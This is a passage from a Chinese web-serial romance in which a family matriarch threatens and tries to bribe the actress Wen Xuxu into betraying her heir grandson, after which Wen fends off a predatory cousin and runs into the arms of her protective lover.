那“请”字出口,温栩栩便知自己再无退路。 黎家的权势如无形巨网,她不过网中蜉蝣,如何能拒? 更何况,黎远航的噩梦尚未消散,她甚至能忆起那男人扭曲的面容与窒息的压迫感。 老管家似看穿她心思,笑容愈发深了几分:“温小姐请放心,远航少爷的手指已被折断,如今无力再欺辱您。老太太想与温小姐好好谈一谈,还请移步老宅。” 温栩栩瞳孔骤缩,不过一日之隔,黎远航竟遭此重创? 老管家眼底掠过一抹寒意,语气却愈发恭敬:“是云笙少爷亲自动的手,为保温小姐周全。老夫人念及此事,特此相邀。” 温栩栩喉间发紧,指甲深深掐入掌心。黎云笙的决绝与疯狂,远超她想象。 温栩栩只能勉强应下跟随老管家去了黎家老宅。 夜色渐浓,老宅轮廓在暮霭中若隐若现,如巨兽蛰伏。 温栩栩跟随管家踏入那扇沉重的朱红大门,石阶冷硬,廊灯昏黄,每一道光晕都似染着岁月的沉重。 雕花窗棂透出微弱的光,映出她略显仓皇的影子。 她深吸一口气,指尖无意识抚过腕间那枚珍珠手链,是黎云笙昨夜吻她时,无意留下的。此刻冰凉触感刺痛肌肤,她忽然清醒,这老宅之中,等待她的绝非温情,而是关乎命运的无形审判。 穿过九曲回廊到了正厅,老管家带她到了书房。 黎家老宅的书房弥漫着檀香与墨汁交织的气息,厚重的天鹅绒窗帘将暮色隔绝在外,只留下壁灯投下昏黄的光晕。 黎老太太斜倚在雕花檀木沙发上,副慈眉善目的模样早已褪尽,浑浊的眸子里泛着冷冽的精光,如鹰隼般上下打量着温栩栩。 温栩栩站在光影交界处,脊背绷得笔直,指甲深深掐进掌心。 空气凝固了数息,黎老太太才慢悠悠地起身,骨节分明的手指捏着青瓷茶壶,为自己斟了一杯茶。 沸水冲开龙井的刹那,茶香裹挟着热气蒸腾而起,她却连看都不看温栩栩一眼,只专注地拨弄着茶叶。 温栩栩喉头微动,终于忍不住开口,“是我做错什么惹您不高兴了吗?”她垂眸盯着自己绞在一起的指尖,余光却瞥见老太太唇角勾起一抹讥讽的弧度。 黎老太太将茶杯搁在案几上,瓷盏与红木相撞发出清脆的声响,在寂静的书房里格外刺耳。 她终于抬眼,目光如刀锋般刮过温栩栩的脸:“我不知道你使了什么狐媚手段勾搭了云笙,但你要清楚,麻雀再如何扑腾翅膀,也变不成凤凰。” 温栩栩呼吸一滞,表情僵在脸上,仿佛被无形的绳索勒住了脖颈。 黎老太太冷笑一声,端起茶杯抿了一口,茶汤在唇齿间流转的间隙,她缓缓吐出一句足以将人钉死的话:“若说你做错了什么,那就是你妄图攀高枝,选错了人。” 第1165章 识时务者为俊杰 她放下茶杯,指尖在杯沿上轻轻叩击,每一下都像敲在温栩栩的心尖上,“你不过是个戏子,为了找个靠山委身于云笙,这心思我一眼就能看穿。” 温栩栩的瞳孔猛地收缩,后背沁出一层冷汗。 她攥紧裙摆,指甲几乎要抠进布料里:“奶奶,您误会了……我和云笙……” 话未说完,便被黎老太太厉声打断:“误会?你当黎家的门楣是那么好进的?一个戏子,也配肖想我黎家的儿媳之位?” 黎老太太却并未停歇,语气愈发阴寒:“我知道你是为了找个靠山,可你找的这靠山,委实不怎么样。”她忽地倾身向前,浑浊的眼珠里迸出毒蛇般的冷光,“你可知道黎云笙的性子冷淡身体一直不好,就算是黎家继承人也不过是苟延残喘罢了。保不准哪日,他就死在那栋别墅里,连具全尸都留不下!” 温栩栩浑身一震,如遭雷击。黎老太太的话像一柄淬毒的匕首,直直刺入她的心脏。 她踉跄着后退半步,后背撞上书架,古籍的硬脊硌得她生疼。这老妇人竟如此恶毒,不仅贬低黎云笙,甚至诅咒他的生死! 她心中翻涌着惊涛骇浪,面上却强装镇定,但颤抖的声线仍出卖了她的恐慌:“奶奶,您为何如此……云笙他……” “为何?”黎老太太嗤笑一声,重新靠回沙发,姿态慵懒却透着致命的威压,“因为他不听话。竟敢为了你折断远航的手指,这可是坏了黎家百年规矩!今日他能对亲哥哥下手,明日就能将整个家族拖入深渊!” 她忽地眯起眼,目光如探照灯般锁住温栩栩,“我叫你来,不是听你辩解的。你是个聪明人,应该知道该怎么选。” 温栩栩的心跳如擂鼓,恐惧如潮水般将她淹没。 她明白,这场“谈话”早已不是询问,而是赤裸裸的威胁。 黎老太太想要的,是让她背叛黎云笙,成为黎家内斗的棋子。 温栩栩早知道这种大家族内部不平稳,可没想到,自己才真正接触到黎云笙跟他有一些亲密关系,就会对上黎家的这位老夫人。 温栩栩深吸一口气,试图稳住心神,却发现自己连声音都在发抖:“您的意思还是……要我离开黎云笙?” “离开?”黎老太太轻笑一声,指尖摩挲着茶杯上的青花纹路。 “现在我可没有让你离开,现在离开可远远不够。我要你,站在我这边。”她忽然坐直身体,眼中闪过狠厉,“只要你答应,等黎云笙一死,我便给你黎氏百分之二的股份。这笔钱,足够你一辈子锦衣玉食,继续拍戏、挥霍,无人敢再轻视你。若你觉得不够,我再给你添上几千万现金怎么样?” 其实单看黎老太太给的几千万在大家族里面算是打发叫花子,黎云笙给温栩栩投资的那部戏成本就几亿了。 但黎老太太不仅给了她钱,还给了股份,那可真的下了血本了。 温栩栩的瞳孔骤然放大,耳中嗡鸣作响。 百分之二的股份,黎老太太抛出如此诱人的筹码,目的只有一个,让她成为背叛黎云笙的刽子手。她攥紧拳头,指甲深深掐进掌心,疼痛却让她勉强维持清醒。 她不能答应,绝不能!可喉咙却像被堵住,发不出半点声音。 她其实有点担心,如果自己不答应,黎老太太会不会找其他人去对付黎云笙? 没有自己,那肯定会有其他人的。 黎云笙做事光明磊落,可黎老太太呢?她做事难道会有多光明磊落吗? 黎老太太见她沉默,嘴角勾起一抹得意的笑,仿佛一切尽在掌握。 她慢悠悠地站起身,踱步至温栩栩面前,枯槁的手指抬起她的下巴,迫使她抬头对视:“小姑娘,别敬酒不吃吃罚酒。云笙如今还能护着你,可若他哪天死了,你以为凭你能在黎家活下去?远航的仇,家族的压力,足够将你碾成齑粉。”她凑近温栩栩的耳边,声音如毒蛇吐信,“识时务者为俊杰,你乖乖听话,我保你荣华富贵,如果执迷不悟……后果,你可承担不起。” 温栩栩浑身发冷,仿佛坠入冰窖。 黎老太太的气息喷在她耳畔,带着腐朽的腥气,即便是保养得宜的黎家老夫人,可到了这年岁,身体还是在走下坡路,即便身上的衣料用檀香熏了多次,凑得这么近还是能闻到腐朽难闻的老人味儿。 黎家老宅的书房弥漫着檀香与墨汁交织的腐朽气息,厚重的天鹅绒窗帘将暮色隔绝在外,壁灯投下昏黄的光晕,在黎老太太枯槁的面容上投下斑驳阴影。 她斜倚在雕花檀木沙发上,指尖摩挲着青瓷茶盏的纹路,目光如毒蛇般锁定温栩栩,语气轻飘飘却裹挟着千钧重量:“你不问我需要什么吗?” 温栩栩喉头滚动,指尖无意识攥紧裙摆,丝绸布料在掌心皱成一团。 她自然猜得到这“好处”背后必是深渊,可喉咙却像被无形的手扼住,只能挤出沙哑的声音:“您需要我做什么?” 黎老太太倏地笑了,笑声如枯枝折断,刺耳又渗人。她忽地倾身向前,浑浊的眼珠里迸出冷光:“我已说得很清楚——等黎云笙‘去了’,我便兑现承诺。” 温栩栩如遭雷击,踉跄着后退半步,后背重重撞上书架,古籍的硬脊硌得她生疼。 她呼吸急促,脑中嗡嗡作响,喉间泛起腥甜,这老妇人竟要她亲手将刀尖对准黎云笙! 她到底清不清楚黎云笙是她的亲孙子! 她颤抖着摇头,声音破碎慌乱:“老夫人,这些我真的做不来的……” 黎老太太的嘴角勾起一抹讥讽的弧度,她慢悠悠地起身,骨节分明的手指捏着茶壶,为自己斟了一杯新茶。 沸水冲开龙井的刹那,茶香裹挟着热气蒸腾而起,她却连看都不看温栩栩一眼,只专注地拨弄着茶叶。 此刻就是在无视温栩栩了。 温栩栩的瞳孔猛地收缩,后背沁出一层冷汗。 第1166章 想守着的东西 黎老太太却并未停歇,语气愈发阴寒:“你不过是个戏子,为了找个靠山委身于云笙,这心思我一眼就能看穿。” “我现在给你这个选择的机会让你离开黎云笙。” “你可要考虑清楚,黎云笙才多大,怎么跟黎家那么多前辈抗衡,就算他真的争,难道就能争的过我们?” “他迟早要败,你最好是现在就做出正确的选择,否则,等到日后黎云笙去了,你可要被黎家人清算的,温栩栩,你最好清楚这一点。” 黎老太太说这话的时候声音里明显都是对黎云笙的嘲讽。 分明是她嫡亲的孙子,可她却完全不在意,仿佛就算是嫡亲的孙子也能在此刻随意践踏。 她盯着老妇人那双浑浊却锐利的眼,忽然想起昨夜黎云笙吻她时的温柔。 如果他死了,这一切就都结束了…… 不,她绝不能让他死! 她咬紧牙关,强压下喉头的哽咽,声音嘶哑却坚定:“您的好意……我心领了。但我喜欢黎云笙……我没有办法背叛他。” 黎老太太的瞳孔骤然收缩,脸色阴沉得能滴出水来。 她松开手,重重地拍在温栩栩的肩膀上,力道之大让她险些摔倒:“不识抬举!” 她后退两步,目光如寒冰般刺向她,“既然你执迷不悟,那就别怪我不客气!你且等着,看看黎云笙能护你到几时!” 她忽地提高声音,厉声唤道:“管家!送客!” 温栩栩踉跄着后退,后背撞上书房的门框。 正在温栩栩决定离开前,黎老太太冷笑一声:“温栩栩,我看你年纪小,再给你点时间考虑清楚是选我还是选黎云笙,希望你真的能做出正确的选择,而不是做一个愚笨的人。” 她抬头望去,黎老太太已转身背对她,苍老的身影在昏黄灯光下显得格外阴森。 她深吸一口气,强压下翻涌的情绪,转身推门离去。 门外,老管家早已候在廊下,脸上挂着公式化的微笑,却透着一股子寒意。温栩栩知道,自己拒绝了黎老太太,便是站在了黎老太太的对立面。 前路,已是荆棘密布。 此刻,黎云笙正坐在别墅顶层的露台,夜风如潮水般卷起他的衬衫下摆,月光在他苍白的手指上流淌。 他手中摩挲着温栩栩留下的珍珠手链,圆润的珠子在指间流转,凉意渗入肌肤,却仿佛带着她指尖残留的温度。 露台边缘的夜灯投下昏黄的光晕,将他笼罩其中,身影孤独而深邃,仿佛与夜色融为一体。 他凝视着远处黎家老宅的方向,眸中翻涌着暗潮,监控屏幕的蓝光在黑暗中明明灭灭,映照着他复杂难辨的神情。 书房里的对话,他早已通过隐秘的监控听得一清二楚。 温栩栩颤抖的声音、踉跄的脚步、强忍泪水的哽咽,甚至她攥紧裙摆时指尖泛白的细节,都通过高清摄像头清晰地传到他眼前。 他未曾想过,这个他曾以为虚荣好强的女人,会如此坚定地拒绝黎老太太的威胁。 他的指尖无意识收紧,珍珠手链发出细微的摩擦声,在寂静的夜里格外清晰,仿佛是他心跳的回声。 其实,他对温栩栩的了解算不得多。 初见时,她如玫瑰般艳丽夺目,却带着刺,自尊心极强,仿佛时刻紧绷着神经,不愿在人前示弱。 他知道她漂亮,好强,甚至有些虚荣,追逐名利如同扑火的飞蛾。 这些认知,是他通过观察她与靳家人的周旋,以及她初入黎家时的谨慎与野心得出的结论。 在他眼中,她像一只急于寻找庇护的雀鸟,或许会为了更好的巢穴随时振翅离去。 可此刻,监控画面中的温栩栩,却让他心中泛起陌生的涟漪。 她拒绝黎老太太时,声音虽颤抖,却带着不容置疑的坚定,割裂了他原本的预判。 他从未想过,她会选择站在自己这一边,甚至不惜直面黎老太太的威胁。 他本想着,若是黎老太太困住温栩栩后,她真的上了那条贼船,等日后斗倒了黎老太太,他会将人关起来,养成自己的金丝雀。这个念头曾在他脑中反复浮现,带着他惯有的掌控欲与冷冽。他习惯了用绝对的控制来维系安全感,尤其在家族阴谋的漩涡中,信任是奢侈品,他从不轻易给予。 可如今,他望着手中珍珠手链,眸中泛起茫然与迟疑。 此前的亲密还烙印在脑海中,她发间的馨香,拥抱时温软的触感,亲吻时颤抖的睫毛…… 他是个古板的人,亲吻过、拥抱过,对他来说就已经是确定的唯一。 就像他在决定拥抱亲吻温栩栩的时候,其实已经认定这辈子就是她了。 可他是真的没有想过,温栩栩会选择他后直接拒绝黎老太太。 监控中她挣扎拒绝却又慌乱的模样让他胸口泛起钝痛,仿佛有人攥住了他的心脏。他到现在才发现,自己好像并不是很了解温栩栩。她表面的虚荣与好强之下,竟藏着如此坚韧的脊梁。 她愿意为了他,直面家族权势的压迫,甚至赌上自己的性命。这份勇气,让他感到陌生,亦让他心跳如擂鼓。 夜风愈发凛冽,他却不觉寒意,只觉掌心珍珠的温度愈发清晰。 或许,她追逐名利并非虚荣,而是为了在残酷的现实中保护自己,她的好强,也并非高傲,而是生存的必要铠甲。 他想起她最初接触自己时候的谨慎,那双警惕的眼睛背后,藏着多少不为人知的伤痛?他想起她谈及弟弟时的哽咽,那份柔软,他从未见过。 他闭上眼,喉间发出低沉的叹息,叹息中夹杂着无奈与自嘲。 他原以为自己早已看透人心,却在温栩栩面前屡屡失算。 温栩栩的选择,不仅颠覆了他的预判,更撼动了他内心那点冰层。 他意识到,自己并非真的想将她困成金丝雀,而是渴望她真实的温度。 她的眼泪,她的挣扎,她的坚定,都是他此刻想守着的东西。 第1167章 弟媳,我等你好久了 他睁开眼,目光再次投向老宅的方向。 监控屏幕已熄灭,夜色笼罩着那座腐朽的宅邸,仿佛一只蛰伏的巨兽。 他攥紧珍珠手链,指节因用力而泛白。 他和黎老太太已经走到这一步了,势必要斗个你死我活的地步,他会在这期间,护好温栩栩,不会让她真的被离家人伤害到。 …… 温栩栩拖着沉重的脚步走出书房,指尖无意识抚过手腕上那串璀璨的钻石手链。 那是她来的路上老管家强行给她戴上的。 虽然是钻石手链,可戴在手上却让她觉得浑身发冷。 钻石在廊下昏黄的灯光下折射出冰冷的光,凉意从肌肤渗入骨髓,仿佛一条毒蛇缠绕在腕间,时刻提醒着她方才的噩梦。 她垂着头,唯唯诺诺地应和着黎老太太的“不打扰”,每一步都像是踩在刀尖之上,脊背绷得笔直,生怕身后那双毒蛇般的眼睛再度射出利刃。 终于踏出书房的刹那,她如释重负般长舒一口气,仿佛卸下了千斤重担。可胸腔里那颗心却依旧狂跳不止,喉间泛起腥甜,连呼吸都带着颤音。 走廊尽头,老管家仍候在阴影里,脸上挂着虚伪的笑,那笑容比黎老太太的威胁更让她毛骨悚然。 她快步穿过长廊,高跟鞋敲击大理石地面的声响在寂静的老宅里格外清晰,每一步都像是敲在她自己慌乱的心上。 走出老宅大门,暮色已悄然笼罩庭院。 晚风裹挟着凉意拂过面颊,她却浑然不觉,只觉浑身发冷,仿佛坠入冰窖。 她抬头望向天际,只觉得这样的夜色都好像是将云层染成诡异的暗红色,恰似她此刻翻涌的内心,被恐惧与茫然撕扯得支离破碎。 黎老太太那句“给你时间考虑”在耳畔反复回响,她深知,这不过是场早已写好剧本的戏码,看似宽容,实则早已将她逼入绝境。 她攥紧掌心,指甲深深掐进肉里,疼痛却让她勉强维持清醒。 黎老太太肯把她叫上来说这些,必然一早调查过她的底细。 方才那些话,字字句句都是威胁,若不答应,等待她的将是灭顶之灾。 她不敢想象,若拒绝黎老太太,那老妇人会如何对她下手。 她杀起亲孙子都毫不眨眼,更何况她这个“没身份没地位的外人”? 温栩栩的脚步愈发凌乱,她踉跄着穿过花园,石径旁修剪整齐的灌木丛在暮色中化作狰狞的鬼影,仿佛随时会扑上来将她吞噬。 她拼命压抑着内心的慌乱和恐惧。 她清楚,自己面前只有两条路,帮黎云笙斗倒黎老太太,或是助黎老太太扳倒黎云笙。 可这两条路,哪一条不是布满荆棘的深渊? 黎云笙很危险,可在家族中孤立无援。但至少此刻,他愿意护着她,甚至为了她折断黎远航的手指。他或许会成为黎家的靶子,但至少,他将她视为唯一的依靠。 而黎老太太……那老妇人眼中只有权力与利益,人命在她眼中不过是棋子。 她杀起亲孙子都不眨眼,更何况她这种外人? 若真帮了黎老太太,日后保不准她会翻脸不认人,过河拆桥、卸磨杀驴的戏码,在这吃人的家族里早已屡见不鲜。 温栩栩的脚步蓦地顿住,她扶着花园的雕花铁门,指尖因用力而泛白。 黎云笙如今已是强弩之末,若她再背叛他,他该如何抵挡黎老太太的阴谋? 她不能,她不能让他独自面对这一切! 思及此处,她攥紧拳头,指甲几乎抠进掌心。 她咬紧牙关,强迫自己冷静下来。 她深知,此刻绝不能表现出绝对的抗拒。 黎老太太的眼线遍布老宅,她的一举一动都在监视之中。 她必须装作被威胁震慑,甚至要表现出动摇的迹象,才能为自己争取喘息之机。 唯有先稳住黎老太太,才能为黎云笙争取反击的时间。 她深吸一口气,强压下喉头的哽咽,抬手抹去眼泪。 暮色中,她的眼神逐渐坚定下来。她转身望向老宅的方向,书房的灯光在夜幕中格外刺眼,仿佛一只睁开眼的巨兽。 她攥紧腕间的钻石手链,那凉意刺入肌肤,却让她愈发清醒,这串手链,是她与黎老太太之间无声的契约,亦是悬在她头顶的利刃。但此刻,她已做出选择,不论随心,还是权衡利弊,黎云笙,才是她唯一能抓住的浮木。 她攥紧裙摆,转身快步离去。 暮风卷起她的衣角,发丝凌乱飞舞,可她步履愈发坚定。 温栩栩拖着沉重的步伐走出老宅,暮色已彻底沉入夜幕,庭院里的路灯投下昏黄的光晕,将她的影子拉得细长而孤寂。 她步履虚浮,思绪混乱,未曾察觉身后拐角处那扇虚掩的门正悄然开启。 突然,一道黑影从门后窜出,结实有力的手臂猛地拽住她的手腕,力道之大几乎将她骨骼捏碎。 她踉跄着被拽进昏暗的房间,后背重重撞上冰冷的墙壁,痛感如电流般窜遍全身。 黎远洋眯起双眸,眼神危险如淬毒的刀刃,嘴角却挂着玩味的笑意:“弟媳,我在这里等你好久了。” 温栩栩瞳孔骤缩,惊惧如潮水般涌上心头。 黎远洋的面容与黎远航有七分相似,眉宇间却少了那份荤素不忌的浪荡,多了几分阴鸷的冷厉。 他斜倚在墙边,双臂环胸,姿态慵懒却充满压迫感,目光如探照灯般上下扫视着她,仿佛要将她剥皮拆骨。 “果然长了张漂亮脸蛋,难怪我那弟弟被你勾的五迷三道。”黎远洋忽地倾身,指尖勾起她的下巴,力道不轻不重,却足以让她脊背绷直。 温栩栩呼吸急促,喉间泛起腥甜,眼瞳泛红,却强撑着不肯示弱。 哪怕最开始不知道这是谁,在被黎远航险些侵犯后也查到了黎远航有了弟弟是黎远洋。 她深知,黎远洋与黎远航虽是亲兄弟,性格却迥异,黎远航是明面上的纨绔,而黎远洋更像是暗处的毒蛇,表面维持着几分体面,实则骨子里同样透着阴狠。 第1168章 黑莲花 黎远洋忽地轻笑,热气喷在她耳畔,声音压低如耳语:“你这副可怜模样让我瞧着就想做点别的什么。” 他故意停顿,指尖沿着她脖颈的曲线缓缓下滑,温栩栩浑身僵硬,汗毛竖立。 他凑近她耳际,嗓音带着蛊惑的恶意:“你说我在这里把你……黎云笙还肯要你吗?”温热的气息拂过耳廓,她浑身一颤,如坠冰窖。 愤怒与屈辱在胸腔炸裂,温栩栩脑中嗡嗡作响。 黎远航是这样,黎远洋也是这样,这群男人都当她是什么小玩意儿可以随意逗弄! 她本就是因黎老太太的威胁而慌乱不堪,此刻被黎远洋堵住,内心那点怒意几乎如火山喷发般止不住。 “为什么要为难我……”话音未落,她眼底闪过一丝凉意,骤然攥住黎远洋的衣领,指甲深深掐进他衬衫的布料。 “你以为你能碰我?”她倏地嗤笑一声,眼底的怯懦瞬间褪去,取而代之的是淬冰的寒意。 她抬头直视他,目光如刃:“你不敢,黎远洋。”她声音极低,却带着不容置疑的笃定。 黎远洋瞳孔微缩,喉间发出一声嗤笑,正要反驳,她却忽然贴近他耳畔,语速极快的低语:“黎老太太的人还在暗处看着,我若少了一根头发,你以为她能容你?”她指尖愈发用力,指甲几乎抠进他皮肉,“我如今对她还有用,你碰我,就是打她的脸。” 黎远洋面色骤变,瞳孔猛地收缩。他未曾料到温栩栩竟能看穿他的虚实。他原只是想借此羞辱她,试探她的底线,却忘了黎老太太的眼线遍布老宅。 她刚从书房出来,那黎老太太人肯定还没退去离开。 他喉头滚动,攥住她手腕的力道不自觉松懈。 温栩栩趁机挣脱,后退半步,脊背仍抵着墙壁,却已挺直如松。 她整理被弄乱的衣襟,指尖抚过发丝,动作缓慢却带着凛然:“黎远洋,你和你哥哥一样,都当我好欺负。” 她忽地冷笑,目光扫过他阴沉的面容,“但别忘了我为何能站在这里,黎老太太选中我,我现在算是她的棋子,你应该清楚这一单。” 对上黎老太太没有反抗的余地,如果对上黎远洋她也这样怯懦,那她真的不用活了。 昏暗的房间里,暧昧的暖光在墙壁投下两道交叠的身影。 温栩栩被黎远洋抵在墙上,两人紧贴的几乎能感受到彼此的心跳。 黎远洋的呼吸拂过她的耳畔,带着酒气的热气让她微微蹙眉。 她仰头凝视着他,黑眸在光影交错中闪烁着狡黠的光芒,仿佛暗夜中伺机而动的黑猫。 他低头俯视,目光如炬,贪婪地扫过她光滑白皙的肌肤,喉结不自觉地滚动。这近在咫尺的距离,让他清晰嗅到她发间若有若无的馨香,心跳陡然加速。 “想看到我惊慌失措的反应怕是要等下辈子了。”温栩栩突然轻笑出声,指尖仍死死攥着他的衣领,力道却悄然放松,仿佛戏谑的猫爪轻挠着他的神经。 黎远洋眼含兴味,任由她拽着衣领,嘴角勾起玩味的弧度。 他本就是流连花丛的纨绔,此刻面对这个带刺的黑莲花,征服欲如烈火般熊熊燃烧。 他凑近她耳际,声音低沉而蛊惑:“你可真有意思,不如你踹了黎云笙跟了我怎么样?他整天跟性冷淡似的,怎么能带给你幸福,你这样的美人儿跟着他不是浪费了?” 温栩栩的瞳孔微微收缩,眼底掠过一丝冷芒。黎远洋的调戏如毒蛇吐信,她却佯装嗔怒,指尖骤然收紧,指甲深深掐进他衬衫的布料。 她嗤笑一声,声音带着淬冰的寒意:“你果然对我有不轨的心思。”她忽地扬唇,笑意更深,仿佛诱人堕落的妖精,“要来撕我的衣服吗?大力点的。”她挑衅地扬起下巴,黑眸中闪烁着挑衅的火光,仿佛在引诱他踏入陷阱。 黎远洋呼吸一滞,喉间发出低笑,随了她的意。 他猛地伸手抓住她衣襟,力道狠厉,布料撕裂的“呲啦”声在寂静的房间里格外刺耳。 然而,这声音却像是敲响了某种战鼓,温栩栩的眼底骤然迸发出寒光。她早有准备,趁他动作的瞬间,猛地歪头看向他身后紧闭的房门,唇角勾起一抹得逞的弧度:“你可真会玩儿。”她压低声音,在他耳边低喃,语气轻柔却如刀锋般锐利,“我让你撕你就撕?你是不是忘了这是在什么地方?” 黎远洋的动作戛然而止,瞳孔猛地收缩。他这才惊觉,自己竟被这女人的挑衅激得失去了理智。 这里并非他的私人领地,而是黎家老宅,附近或许正有无数双眼睛暗中窥视。温栩栩的提醒如冷水泼面,他后背瞬间沁出一层冷汗。他攥住她衣襟的手微微颤抖,喉头滚动,心中暗骂自己竟着了她的道。 “你觉得黎家人看到我们衣衫不整的在一间房会怎么想?”温栩栩趁他分神,忽地贴近他耳畔,声音如毒蛇吐信,字字句句直击要害,“有眼睛的人都知道你一定是在问难我。” 她指尖悄然滑向他腰间,动作迅捷如电,猛地抽出他皮带。 黎远洋惊了一瞬,还未来得及反应,她便狠狠一脚踹向他的敏感部位。 力道之狠,角度之刁钻,让他瞬间弯下腰,发出杀猪般的惨叫,整个人如虾米般蜷缩在地,疼得在地上打滚。 “你这黑莲花,居然敢……”黎远洋蜷缩在地,冷汗涔涔,咬着牙挤出这句话,声音因剧痛而扭曲。 温栩栩嗤笑一声,俯视着他狼狈的模样,眼底尽是嘲讽。 她迅速整理被撕扯的衣襟,指尖抚过凌乱的发丝。她蹲下身,凑近他耳际,声音压低如刃:“记住,我不是任你玩弄的玩具。”她指尖轻轻划过他颤抖的脸颊,语气冷冽,“黎远洋,你和你哥哥一样,都太小看我了。” 当时被黎远航险些侵犯那是因为黎老太太没有跟她谈过这些,但现在她在黎老太太的眼里已经是一枚棋子了,她不会让她成为废棋子。 而且……她也不是真的蠢货自己单枪匹马就来黎家老宅。 上次才在老宅吃亏还自己来,那就是真的笨蛋了。 她猛地起身,高跟鞋敲击地面的声响清脆而凌厉。 她揉乱自己的头发,刻意制造出挣扎过的痕迹,然后推门冲出房间。 第1169章 既是棋子,亦是诱饵 暮风涌入,卷起她凌乱的发丝,她步履虽略显踉跄,脊梁却挺得笔直,只留下黎远洋在房内蜷缩呻吟,痛楚如潮水般将他淹没,他攥紧拳头,指节泛白,眼中迸出怨毒的怒火,却只能无能狂怒。 温栩栩快步穿过长廊,心跳如擂鼓,指尖仍残留着黎远洋皮带粗糙的触感。 她冲出房间,早已酝酿出泪意,泪水在眼眶里打转,仿佛随时要决堤。 只是脚步才踏出房门,便陡然顿住,如被施了定身咒般僵在原地。 视线前方,黎云笙风尘仆仆的身影正逆光而立,风衣上还沾着夜露的潮气,发梢微乱,眉宇间凝着未散的冷肃。 温栩栩愣了很久,时间仿佛在此刻凝固,方才装出来的泪意竟在刹那间消退,胸腔里翻涌的却是另一种难以名状的激荡。 竟然是黎云笙……他怎么挑这个时间来了呢?竟然来的这么快吗?真的会这样在意她吗? 无数个念头如乱麻般在脑中纠缠,她望着他,心跳如擂鼓,几乎要冲破喉咙。 然后,几乎是在下一秒,她哭着扑进黎云笙怀里,呜咽声如破碎的瓷片,眼泪不要钱似的往下掉,打湿了他肩侧的布料,浸出一片深色的痕迹。 方才黎远洋那声惨叫早已惊动了老宅里的佣人与管家,众人纷纷循声而来。有人冲过去查看房内情况,却见黎远洋蜷缩在地,面容扭曲,痛楚呻吟不绝于耳。 而温栩栩衣衫不整,发丝凌乱如被狂风席卷,正扑在黎云笙怀里痛哭,这一幕如惊雷炸响,一种不好的预感在所有人心里升上来。 众人面面相觑,窃窃私语如暗潮涌动。 “这……这是怎么回事?” “方才那声音是远洋的……” “温小姐这模样,莫不是……” 猜测与震惊在人群中蔓延,空气仿佛凝固,只剩下温栩栩压抑的呜咽声在寂静中回荡。 黎云笙的喉头有些发堵,她的泪水滚烫,浸透衣衫,灼着他的肌肤,也烫着他的心。 她喉间的呜咽更像柔软可爱的小动物发出依赖的叫声,带着一丝颤抖,一丝无助,仿佛终于找到了避风的港湾。 她扑在他怀里,双手紧紧攥住他的衣襟,指尖微微发颤,发丝凌乱地贴在他颈侧,带着淡淡的馨香与潮湿。 她在他怀里蹭了蹭,像一只受惊后寻求安抚的猫,这个动作让他胸腔里涌起一阵难以言喻的满足感,仿佛漂泊的船终于归港。 然而,满足之余,怒火却如野火般在心底蔓延。 他垂眸凝视着她,黑眸沉然散发着阵阵寒气,内里像是隐含着令人胆寒的冷茫。 他清晰看见她脖颈间若隐若现的红痕,衣襟被撕扯得歪斜,露出一小片白皙肌肤,发丝凌乱地散落,遮不住她眼角的泪光。 他的猫被欺负了。 这个认知如利刃刺入心脏,痛与怒交织,让他周身的气息愈发冷冽,仿佛凝结了冰。 他轻抚温栩栩的背,动作温柔却带着不容置疑的力道,掌心隔着衣料传递着温度,仿佛要将她所有的不安与恐惧抚平。 他的声音低沉,带着砂砾般的质感,却奇异地透着安抚的意味:“是谁欺负了你。” 温栩栩声音不稳,带着哭腔的颤抖,仿佛随时会断线,“是黎远洋……” 话也不必说全,只这么支支吾吾一句,黎云笙便已全懂了。 他瞳孔猛地收缩,眼底的冷茫愈发锋利,攥住她肩膀的手不自觉收紧,指尖关节泛白。 黎远洋…… 黎远航同父同母的亲弟弟,他以为他折断黎远航的手指已经算是警告了暗中那些魑魅魍魉,没想到黎远洋竟然还敢对温栩栩动手。 怒火在胸腔翻涌,几乎要冲破理智的枷锁。 他低头凝视她,目光如炬,却在她泪眼朦胧的注视下,渐渐软化。 他将她更紧地揽入怀中,仿佛要将她嵌入骨血,动作却愈发轻柔,仿佛在呵护一件易碎的瓷器。 周围佣人的目光如芒刺在背,黎云笙却浑然不觉。 他只知道,此刻怀中的人是他的,她的依赖、她的脆弱、她的泪水,都如烙印般刻入他的骨髓。 他忽地俯身,在她发顶落下轻轻一吻,带着安抚的意味,声音低沉如夜:“别怕,我在。” 温栩栩呜咽声渐弱,却仍紧紧攥着他的衣襟,将脸埋入他胸膛,汲取着他身上独有的气息,那是混合着雪松与檀香的味道,清冷中透着沉稳,仿佛能将世间所有喧嚣与不安都隔绝在外。 她指尖微颤,发丝凌乱地贴在他颈侧,呼吸间带着潮湿的温热,像一只受惊后终于寻到巢穴的幼兽,蜷缩着不愿离去。她知道,此刻拥抱着她的这个男人,拥有着足以撕开所有阴霾的力量。 黎云笙在很多事上都能很轻松的被解决,这是她早已深知的。他的手腕、他的决断、他深不可测的城府,都让她在暗潮汹涌的黎家老宅中,始终存着一丝底气。 其实来黎家老宅之前,温栩栩就已经给黎云笙发了信息。指尖在手机屏幕上轻点,她将可能面临的危机简短陈述,字句间却刻意隐去了几分慌乱,仿佛只是陈述一件寻常事。 她猜到黎云笙会来,却没想到他会来得这样快。消息发送后不过数小时,他竟已风尘仆仆地站在她面前,风衣上还沾着夜露的潮气,眉宇间凝着未散的冷肃。 这份速度,这份不顾一切的奔赴,让温栩栩胸腔里翻涌的情绪陡然失控。 她望着他,心跳如擂鼓,几乎要冲破喉咙,原来被人在意至此,竟会让人生出这般酸涩又甜蜜的颤栗。 她在知道自己可能会变成黎老太太的“棋子”后,便深知自己的身份已截然不同。 黎老太太那盘棋局里,她既是棋子,亦是诱饵。 那老妇人想让她与黎云笙之间产生“其它”关系,想利用她来牵制黎云笙,甚至……或许还有更深层的图谋。 正因如此,黎老太太绝不会允许其他男人碰她分毫。 温栩栩深谙这一点,所以她故意演了这一出戏,将黎远洋引入那间昏暗房间,任由他挑衅、撕扯衣襟。 她早算计好了,黎老太太的人必定在暗处窥视,黎远洋的冒犯会被如实禀报,而她“受辱”的模样,会成为惩治黎远洋的最佳证据。她本欲借黎老太太的手,让黎远洋付出代价,却未曾料到,黎云笙竟会来得这样快,快得让她精心编排的剧本,瞬间被撕成了碎片。 第1170章 一个比一个没出息 此刻,她伏在他怀中,听着他胸膛里沉稳的心跳,忽然觉得那些算计都成了无关紧要的尘埃。 他轻抚她背脊的手掌带着安抚的力道,指尖偶尔拂过她凌乱的发丝,仿佛在梳理她纷杂的思绪。 